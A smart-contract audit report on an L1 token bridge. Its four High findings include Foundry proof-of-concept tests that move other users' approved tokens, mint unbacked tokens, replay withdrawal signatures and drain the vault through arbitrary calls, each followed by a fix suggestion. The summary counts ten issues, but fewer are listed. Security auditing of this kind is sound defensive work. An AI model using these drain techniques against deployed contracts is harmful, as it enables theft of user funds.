



Protocol Audit Report

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KiteWeb3

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Protocol Audit Report

KiteWeb3

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Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

Disclaimer

The KiteWeb3 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this documents correspond the following commit hash:

```
1 07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
1 ./src/
2 #-- L1BossBridge.sol
3 #-- L1Token.sol
4 #-- L1Vault.sol
5 #-- TokenFactory.sol
```

Roles

- Bridge Owner: A centralized bridge owner who can:
 - pause/unpause the bridge in the event of an emergency
 - set `Signers` (see below)
- Signer: Users who can “send” a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Spent 16 hours. Tool used: manual review.

Issues found

Severity	Number of issue found
High	4
Medium	1
Low	3
Informational	1
Gas	1
Total	10

Findings

High

[H-1] Users who give tokens approvals to L1BossBridge may have those assest stolen

The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

As a PoC, include the following test in the `L1BossBridge.t.sol` file:

```
1 function testCanMoveApprovedTokensOfOtherUsers() public {
2     vm.prank(user);
3     token.approve(address(tokenBridge), type(uint256).max);
4
5     uint256 depositAmount = token.balanceOf(user);
6     vm.startPrank(attacker);
7     vm.expectEmit(address(tokenBridge));
8     emit Deposit(user, attackerInL2, depositAmount);
9     tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);
10
11     assertEq(token.balanceOf(user), 0);
12     assertEq(token.balanceOf(address(vault)), depositAmount);
13     vm.stopPrank();
14 }
```

Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
1 - function depositTokensToL2(address from, address l2Recipient, uint256
   amount) external whenNotPaused {
2 + function depositTokensToL2(address l2Recipient, uint256 amount)
   external whenNotPaused {
3     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
4         revert L1BossBridge__DepositLimitReached();
5     }
6 - token.transferFrom(from, address(vault), amount);
7 + token.transferFrom(msg.sender, address(vault), amount);
8
9     // Our off-chain service picks up this event and mints the
       corresponding tokens on L2
10 - emit Deposit(from, l2Recipient, amount);
11 + emit Deposit(msg.sender, l2Recipient, amount);
12 }
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

`depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's

constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
1 function testCanTransferFromVaultToVault() public {
2     vm.startPrank(attacker);
3
4     // assume the vault already holds some tokens
5     uint256 vaultBalance = 500 ether;
6     deal(address(token), address(vault), vaultBalance);
7
8     // Can trigger the `Deposit` event self-transferring tokens in the
9     // vault
10    vm.expectEmit(address(tokenBridge));
11    emit Deposit(address(vault), address(vault), vaultBalance);
12    tokenBridge.depositTokensToL2(address(vault), address(vault),
13    vaultBalance);
14
15    // Any number of times
16    vm.expectEmit(address(tokenBridge));
17    emit Deposit(address(vault), address(vault), vaultBalance);
18    tokenBridge.depositTokensToL2(address(vault), address(vault),
19    vaultBalance);
20
21    vm.stopPrank();
22 }
```

As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanism (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:


```
1 function testCanReplayWithdrawals() public {
2     // Assume the vault already holds some tokens
3     uint256 vaultInitialBalance = 1000e18;
4     uint256 attackerInitialBalance = 100e18;
5     deal(address(token), address(vault), vaultInitialBalance);
6     deal(address(token), address(attacker), attackerInitialBalance);
7
8     // An attacker deposits tokens to L2
9     vm.startPrank(attacker);
10    token.approve(address(tokenBridge), type(uint256).max);
11    tokenBridge.depositTokensToL2(attacker, attackerInL2,
12        attackerInitialBalance);
13
14    // Operator signs withdrawal.
15    (uint8 v, bytes32 r, bytes32 s) =
16        _signMessage(_getTokenWithdrawalMessage(attacker,
17            attackerInitialBalance), operator.key);
18
19    // The attacker can reuse the signature and drain the vault.
20    while (token.balanceOf(address(vault)) > 0) {
21        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
22            , v, r, s);
23    }
24    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance
25        + vaultInitialBalance);
26    assertEq(token.balanceOf(address(vault)), 0);
27 }
```

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] L1BossBridge::sendToL1 allowing arbitrary calls enables users to call L1Vault::approveTo and give themselves infinite allowance of vault funds

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes its `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful

deposit in the L1 part of the bridge”. As the next PoC shows, such validation is not enough to prevent the attack.

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
1 function testCanCallVaultApproveFromBridgeAndDrainVault() public {
2     uint256 vaultInitialBalance = 1000e18;
3     deal(address(token), address(vault), vaultInitialBalance);
4
5     // An attacker deposits tokens to L2. We do this under the
6     // assumption that the
7     // bridge operator needs to see a valid deposit tx to then allow us
8     // to request a withdrawal.
9     vm.startPrank(attacker);
10    vm.expectEmit(address(tokenBridge));
11    emit Deposit(address(attacker), address(0), 0);
12    tokenBridge.depositTokensToL2(attacker, address(0), 0);
13
14    // Under the assumption that the bridge operator doesn't validate
15    // bytes being signed
16    bytes memory message = abi.encode(
17        address(vault), // target
18        0, // value
19        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
20            uint256).max)) // data
21    );
22    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
23        key);
24
25    tokenBridge.sendToL1(v, r, s, message);
26    assertEq(token.allowance(address(vault), attacker), type(uint256).
27        max);
28    token.transferFrom(address(vault), attacker, token.balanceOf(
29        address(vault)));
30 }
```

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas

costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokens to L1

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

Informational

[I-1] Insufficient test coverage

1	Running tests...			
2	File	% Lines	% Statements	% Branches
3	% Funcs			
4	src/L1BossBridge.sol	86.67% (13/15)	90.00% (18/20)	83.33% (5/6)
5	src/L1Vault.sol	0.00% (0/1)	0.00% (0/1)	100.00%
6	src/TokenFactory.sol	100.00% (4/4)	100.00% (4/4)	100.00%
7	Total	85.00% (17/20)	88.00% (22/25)	83.33% (5/6)

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.